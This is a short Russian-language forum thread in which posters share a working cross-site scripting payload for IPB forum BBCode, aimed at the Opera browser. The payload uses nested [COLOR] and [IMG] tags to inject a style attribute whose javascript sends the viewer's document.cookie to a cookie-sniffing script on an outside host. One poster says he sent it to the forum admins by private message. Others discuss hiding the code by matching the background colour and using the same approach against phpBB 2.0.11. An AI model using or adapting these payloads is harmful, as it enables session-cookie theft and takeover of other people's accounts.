Форумы XSS в форуме IPB, на примере браузера Опера

Code:

[COLOR=[IMG]http://aaa.aa/=`aaa.jpg[/IMG]]` style=background:url(javascript:document.images[68].src="http://sniffSite/sniff.cgi?"+document.cookie) [/COLOR] 

послал админам в личку, потом был забанен....
потом доперло , что у админов опера,
так он и есть

отображение хсс в опере

Code:

'>` style=background:url(javascript:document.images[1].src="sniff?"+document.cookie)

как сделать чтоб хотябы код не было видно ?

 

Внимательней читай коменты...

 

ой 8) не корректно отобразилось...


[COLOR=цвет фона][COLOR=[IMG]http://aaa.aa/=`aaa.jpg[/IMG]]` style=background:url(javascript:document.ima
ges[68].src="http://sniffSite/sniff.cgi?"+document.cookie) [/COLOR][/COLOR]

Вот и все...я уже давно допер,как их скрыть!

 

Кстати, если хорошо подумать, то эту уязвимость можно адаптировать и под оперу...Без использования обратной кавычки

 

да 8) А еще если хорошо подумать мона и Phpbb 2.0.11 через Xss ломануть 8)